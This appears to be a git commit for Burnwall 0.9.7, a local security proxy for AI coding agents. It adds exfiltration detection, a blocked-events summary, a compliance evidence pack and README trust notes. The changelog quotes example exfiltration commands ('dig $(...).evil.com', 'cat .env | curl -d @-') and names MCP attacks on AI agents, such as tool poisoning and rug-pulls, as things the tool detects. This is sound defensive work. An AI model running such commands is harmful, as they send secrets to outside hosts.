v0.9.7: exfil detection, security digest, MCP PoC corpus, evidence pack

Security depth
- Data-exfiltration technique detection (opt-in under security.dlp): DNS
  exfil, secret-file piped to network, command-substituted uploads. Names
  the technique, never the data; conservative/high-signal.
- `burnwall security --summary`: a "what Burnwall caught" receipt grouped by
  type, so passive protection registers as ongoing value.
- MCP firewall validated against the published attacks (Invariant tool-
  poisoning/SSH exfil, MCPoison rug-pull, <IMPORTANT> shadowing) as a test
  corpus.

Governance
- `burnwall audit pack`: one-command evidence bundle (signed receipts +
  CycloneDX 1.6 AIBOM + SARIF 2.1.0 + a MANIFEST mapping artifacts to ISO
  42001 / EU AI Act / FINRA).

Docs
- README: Trust & privacy, defense-in-depth framing, and the built-in
  mcp-watch firewall in the MCP scope note.

Author: codehippie1

CHANGELOG.md

@@ -2,6 +2,39 @@
 
 All notable changes to Burnwall.
 
+## [0.9.7] — 2026-06-07
+
+### Added
+
+- **Data-exfiltration technique detection** (opt-in, under `security.dlp`) — the
+  scanner now flags the exfiltration *method* in a tool-call argument, not just
+  secrets in the payload: DNS exfiltration (`dig $(...).evil.com`, encoded
+  subdomains), a secret file piped to the network (`cat .env | curl -d @-`), and
+  command-substituted uploads. Conservative/high-signal (a network tool alone is
+  fine) and names only the technique, never the data.
+- **`burnwall security --summary`** — a "what Burnwall caught for you" receipt:
+  blocks grouped by type over the window (pairs with `--days 7`), so passive
+  protection registers as ongoing value instead of going unseen.
+- **`burnwall audit pack`** — one-command compliance evidence pack: bundles the
+  signed hash-chained receipts, the CycloneDX 1.6 AIBOM, and the SARIF 2.1.0
+  security findings into a directory with a `MANIFEST.md` that maps each artifact
+  to the controls auditors ask for (ISO/IEC 42001, EU AI Act Art. 12/26, FINRA).
+  The artifacts already existed; this is one command + the framework mapping you
+  can hand a security team.
+- **MCP firewall is validated against the published attacks** — a test corpus
+  models the real PoCs (Invariant tool-poisoning / SSH-key exfiltration, the
+  MCPoison rug-pull that swaps a tool's behavior after approval, `<IMPORTANT>`
+  shadowing) so coverage is provable and stays covered.
+
+### Changed
+
+- README: a **Trust & privacy** section (local, zero-telemetry, read-only on
+  responses, signed single-binary releases, auditable "no network except
+  forwarding"), a **defense-in-depth** framing for security (rules run before
+  anything leaves your machine; complements — doesn't replace — native
+  controls), and the MCP scope note now points at the built-in `mcp-watch`
+  firewall (tool-poisoning + rug-pull detection).
+
 ## [0.9.6] — 2026-06-07
 
 ### Added

Cargo.lock

@@ -1,6 +1,6 @@
 [package]
 name = "burnwall"
-version = "0.9.6"
+version = "0.9.7"
 edition = "2024"
 rust-version = "1.87"
 description = "Local proxy for AI coding tools (Claude Code, Codex CLI, Aider): cache-aware cost tracking, path/command security checks, daily budget enforcement. Zero telemetry."

Cargo.toml

@@ -123,11 +123,21 @@ Every API call flows through Burnwall:
 
 Responses are **never modified** — Burnwall reads them, logs the cost, and passes them through unchanged.
 
+### Defense-in-depth, not a silver bullet
+
+Security rules are evaluated **before the request leaves your machine** — a
+blocked request never reaches the provider. That's the point: it's another layer
+that holds even when a tool's own approval prompt, allowlist, or sandbox is
+bypassed (and those have been, repeatedly). Burnwall doesn't claim you're under
+attack; it claims that *if* a prompt-injected agent tries to read `~/.ssh` or
+pipe a secret to the network, the rule fires locally first. Pair it with your
+tool's native controls — it's designed to complement them, not replace them.
+
 ## Scope: What Burnwall Guards
 
 Burnwall sits on the **LLM API path** — the HTTP traffic between your AI tool and Anthropic/OpenAI. Security scanning, budget enforcement, and cost tracking all operate on that traffic.
 
-It does **not** intercept **MCP** (Model Context Protocol) traffic. When your agent calls an MCP server's tools, that traffic flows through your AI tool directly — Burnwall never sees it, so it can't scan or block it. MCP-layer protection is a separate concern; dedicated MCP-firewall tools exist and run cleanly alongside Burnwall.
+The LLM-path proxy does **not** automatically see **MCP** (Model Context Protocol) traffic — that flows from your AI tool to MCP servers directly. For that layer, Burnwall ships a dedicated **MCP firewall** you put in front of your MCP servers (`burnwall mcp-watch`): it detects tool-poisoning and "rug-pull" (silent post-approval redefinition) attacks and enforces an approval workflow. Run it alongside the main proxy for end-to-end coverage.
 
 ## Supported Tools
 
@@ -182,13 +192,22 @@ $ burnwall status
    Cache savings today: $47.82
 ```
 
-## Privacy
+## Trust & privacy
+
+Burnwall sits in your API traffic path, so it earns that position by being
+verifiable, not by asking for trust:
 
-- **100% local.** No data ever leaves your machine (except API forwarding).
+- **100% local.** No data ever leaves your machine except the API forwarding you
+  asked for. Works offline (apart from the forwarding itself).
 - **Zero telemetry.** No analytics, no phone-home, no tracking. Ever.
 - **No prompt logging.** Only metadata is stored (model, tokens, cost, timestamp).
 - **No API key storage.** Keys pass through in headers and are never written to disk.
-- **Open source.** Audit the code yourself.
+- **Read-only on responses.** Burnwall inspects responses to compute cost and
+  **never modifies them** — your tool gets the provider's bytes unchanged.
+- **Single binary, signed releases.** Install from a checksummed, signed release
+  (or `cargo install` from source). No background services you didn't ask for.
+- **Open source.** The "no network calls except forwarding" claim is auditable —
+  read the proxy code yourself.
 
 ## Terms of service
 

README.md

@@ -2,7 +2,7 @@
   "name": "burnwall",
   "displayName": "Burnwall",
   "description": "Cost + security for your AI coding agents, at a glance — reads your local Burnwall CLI.",
-  "version": "0.9.6",
+  "version": "0.9.7",
   "publisher": "intbot",
   "license": "FSL-1.1-MIT",
   "repository": { "type": "git", "url": "https://github.com/intbot/burnwall" },

editor/vscode/package.json

@@ -6,7 +6,7 @@
     "url": "https://github.com/intbot/burnwall",
     "source": "github"
   },
-  "version": "0.9.6",
+  "version": "0.9.7",
   "packages": [
     {
       "registryType": "oci",

packaging/mcp/server.json

@@ -5,8 +5,11 @@
 //! - `export` — dump the receipts (json | csv).
 //! - `aibom`  — CycloneDX AI Bill of Materials for the window.
 //! - `sarif`  — security blocks as SARIF 2.1.0 (GitHub code scanning).
+//! - `pack`   — one-command compliance evidence pack (receipts + AIBOM + SARIF
+//!   + a framework-mapping manifest) you can hand to a security/audit team.
 
 use std::io::Write;
+use std::path::PathBuf;
 
 use anyhow::Context;
 use clap::{Args, Subcommand};
@@ -33,6 +36,19 @@ pub enum AuditCommand {
     Aibom(WindowArgs),
     /// Export security blocks as SARIF 2.1.0 (for GitHub code scanning).
     Sarif(WindowArgs),
+    /// Bundle a compliance evidence pack: signed receipts + CycloneDX AIBOM +
+    /// SARIF + a framework-mapping manifest, into one directory.
+    Pack(PackArgs),
+}
+
+#[derive(Args, Debug)]
+pub struct PackArgs {
+    /// How many days back to include (default 7).
+    #[arg(long, default_value_t = 7)]
+    pub days: i64,
+    /// Output directory (default: ./burnwall-evidence-<date>).
+    #[arg(long)]
+    pub out: Option<PathBuf>,
 }
 
 #[derive(Args, Debug)]
@@ -109,10 +125,117 @@ pub fn run_cmd(args: AuditArgs) -> anyhow::Result<()> {
             let log = sarif::build(&events);
             writeln!(out, "{}", serde_json::to_string_pretty(&log).unwrap())?;
         }
+        AuditCommand::Pack(a) => {
+            write_evidence_pack(&mut out, &storage, a.days, a.out)?;
+        }
     }
     Ok(())
 }
 
+/// Build a self-contained compliance evidence pack: the existing artifacts
+/// (signed receipts, CycloneDX 1.6 AIBOM, SARIF 2.1.0) plus a manifest that maps
+/// each to the controls auditors ask for (ISO 42001, EU AI Act, FINRA). The
+/// artifacts already exist — the value here is one command + the mapping.
+fn write_evidence_pack(
+    out: &mut impl Write,
+    storage: &Storage,
+    days: i64,
+    out_dir: Option<PathBuf>,
+) -> anyhow::Result<()> {
+    let now = chrono::Local::now();
+    let date = now.format("%Y-%m-%d").to_string();
+    let dir = out_dir.unwrap_or_else(|| PathBuf::from(format!("burnwall-evidence-{date}")));
+    std::fs::create_dir_all(&dir).with_context(|| format!("creating {}", dir.display()))?;
+
+    // Seal first so the pack reflects the latest actions (best-effort — a
+    // missing key or zero new actions must not fail the export).
+    let chain = AuditChain::open_default().ok();
+    if let Some(c) = &chain {
+        let _ = c.seal(storage);
+    }
+    let public_key = chain.as_ref().map(|c| c.public_key_hex());
+
+    // 1) Signed receipts.
+    let receipts = storage.all_receipts()?;
+    let mut buf = Vec::new();
+    write_receipts_json(&mut buf, &receipts, public_key.as_deref())?;
+    std::fs::write(dir.join("receipts.json"), &buf).context("writing receipts.json")?;
+
+    // 2) CycloneDX 1.6 AIBOM.
+    let digest = Digest::build(storage, days)?;
+    let serial = format!("urn:uuid:{}", uuid::Uuid::new_v4());
+    let bom = aibom::build(&digest, &now.to_rfc3339(), &serial);
+    std::fs::write(
+        dir.join("aibom.cdx.json"),
+        serde_json::to_string_pretty(&bom).unwrap(),
+    )
+    .context("writing aibom.cdx.json")?;
+
+    // 3) SARIF 2.1.0 security findings.
+    let events = storage.security_events_since_days(days)?;
+    let sarif_log = sarif::build(&events);
+    std::fs::write(
+        dir.join("security.sarif.json"),
+        serde_json::to_string_pretty(&sarif_log).unwrap(),
+    )
+    .context("writing security.sarif.json")?;
+
+    // 4) Framework-mapping manifest.
+    let manifest = evidence_manifest(
+        &date,
+        days,
+        receipts.len(),
+        events.len(),
+        digest.models.len(),
+        public_key.as_deref(),
+    );
+    std::fs::write(dir.join("MANIFEST.md"), manifest).context("writing MANIFEST.md")?;
+
+    writeln!(out, "🧾 Evidence pack written to {}", dir.display())?;
+    writeln!(out, "   receipts.json        — {} signed hash-chained receipt(s)", receipts.len())?;
+    writeln!(out, "   aibom.cdx.json       — CycloneDX 1.6 AI Bill of Materials")?;
+    writeln!(out, "   security.sarif.json  — SARIF 2.1.0 ({} security event(s))", events.len())?;
+    writeln!(out, "   MANIFEST.md          — control mapping (ISO 42001 / EU AI Act / FINRA)")?;
+    if public_key.is_none() {
+        writeln!(out, "   ⚠  no audit key found — receipts are unsigned; run `burnwall audit seal` first")?;
+    }
+    Ok(())
+}
+
+fn evidence_manifest(
+    date: &str,
+    days: i64,
+    receipts: usize,
+    events: usize,
+    models: usize,
+    public_key: Option<&str>,
+) -> String {
+    let key = public_key.unwrap_or("(no audit key — receipts unsigned)");
+    format!(
+        "# Burnwall compliance evidence pack\n\
+         \n\
+         - Generated: {date}\n\
+         - Window: last {days} day(s)\n\
+         - Receipts: {receipts} · Security events: {events} · Models: {models}\n\
+         - Audit public key (Ed25519): `{key}`\n\
+         \n\
+         All artifacts are metadata only — no prompt content, no API keys.\n\
+         Verify the receipt chain at any time with `burnwall audit verify`.\n\
+         \n\
+         ## Artifacts → controls\n\
+         \n\
+         | File | What it is | Maps to |\n\
+         |------|-----------|---------|\n\
+         | `receipts.json` | Ed25519 hash-chained, tamper-evident log of every forwarded/blocked AI action (model, timestamp, action, cost). | EU AI Act Art. 12 (record-keeping) & Art. 26 (deployer logs); FINRA prompt/output-log & model-version expectations; ISO/IEC 42001 operational logging. |\n\
+         | `aibom.cdx.json` | CycloneDX 1.6 AI Bill of Materials — models used (as ML-model components), MCP tools/services, and window totals. | ISO/IEC 42001 AI-system inventory & model lineage; AIBOM / SBOM-for-AI procurement requirements; EU AI Act technical documentation. |\n\
+         | `security.sarif.json` | SARIF 2.1.0 record of blocked attempts (denied paths/commands, secrets, exfiltration). | Evidence of active guardrails / data-egress control; ingestible by GitHub code scanning and SIEMs. |\n\
+         \n\
+         > Mapping is provided to help a reviewer locate evidence; it is not a\n\
+         > certification or legal attestation. Confirm scope against your own\n\
+         > obligations.\n"
+    )
+}
+
 fn plural(n: u64) -> &'static str {
     if n == 1 {
         ""

src/cli/audit.rs

@@ -23,6 +23,11 @@ pub struct SecurityArgs {
     /// Emit JSON instead of the table view.
     #[arg(long)]
     pub json: bool,
+    /// Print a short "what Burnwall caught" summary (counts by type) instead of
+    /// the per-event table — the visible receipt that passive protection is
+    /// working. Pairs well with `--days 7`.
+    #[arg(long)]
+    pub summary: bool,
 }
 
 pub fn run_cmd(args: SecurityArgs) -> anyhow::Result<()> {
@@ -34,6 +39,10 @@ pub fn run_cmd(args: SecurityArgs) -> anyhow::Result<()> {
     }
 
     let mut out = std::io::stdout().lock();
+
+    if args.summary && !args.json {
+        return print_summary(&mut out, &events, args.days);
+    }
     if args.json {
         let value = serde_json::json!({
             "days": args.days,
@@ -106,3 +115,70 @@ fn truncate(s: &str, n: usize) -> String {
         out
     }
 }
+
+/// Friendly label for an `event_type` value.
+fn friendly_type(event_type: &str) -> &str {
+    match event_type {
+        "path_blocked" => "denied-path access",
+        "command_blocked" => "dangerous command",
+        "mount_blocked" => "network-mount access",
+        "secret_detected" => "secret/credential in payload",
+        "dlp_blocked" => "PII/data exfiltration",
+        "exfil_blocked" => "data-exfiltration technique",
+        other => other,
+    }
+}
+
+/// The "what Burnwall caught for you" receipt — a grouped count over the window,
+/// so passive protection registers as ongoing value rather than going unseen.
+fn print_summary<W: Write>(
+    out: &mut W,
+    events: &[crate::storage::SecurityEvent],
+    days: i64,
+) -> anyhow::Result<()> {
+    let window = if days == 1 {
+        "today".to_string()
+    } else {
+        format!("the last {days} days")
+    };
+    if events.is_empty() {
+        writeln!(out, "🛡️  All clear — Burnwall blocked nothing {window}.")?;
+        writeln!(out, "   (No news is good news; protection is running silently.)")?;
+        return Ok(());
+    }
+
+    // Count by event type, preserving a stable, severity-ish display order.
+    use std::collections::HashMap;
+    let mut counts: HashMap<&str, usize> = HashMap::new();
+    for e in events {
+        *counts.entry(e.event_type.as_str()).or_default() += 1;
+    }
+    let order = [
+        "exfil_blocked",
+        "secret_detected",
+        "dlp_blocked",
+        "command_blocked",
+        "path_blocked",
+        "mount_blocked",
+    ];
+
+    writeln!(
+        out,
+        "🛡️  Burnwall blocked {} attempt{} {}:",
+        events.len(),
+        if events.len() == 1 { "" } else { "s" },
+        window
+    )?;
+    for key in order {
+        if let Some(n) = counts.remove(key) {
+            writeln!(out, "   • {n:>3}  {}", friendly_type(key))?;
+        }
+    }
+    // Any event types not in the canonical order (e.g. future kinds).
+    let mut rest: Vec<(&str, usize)> = counts.into_iter().collect();
+    rest.sort_by_key(|(_, n)| std::cmp::Reverse(*n));
+    for (key, n) in rest {
+        writeln!(out, "   • {:>3}  {}", n, friendly_type(key))?;
+    }
+    Ok(())
+}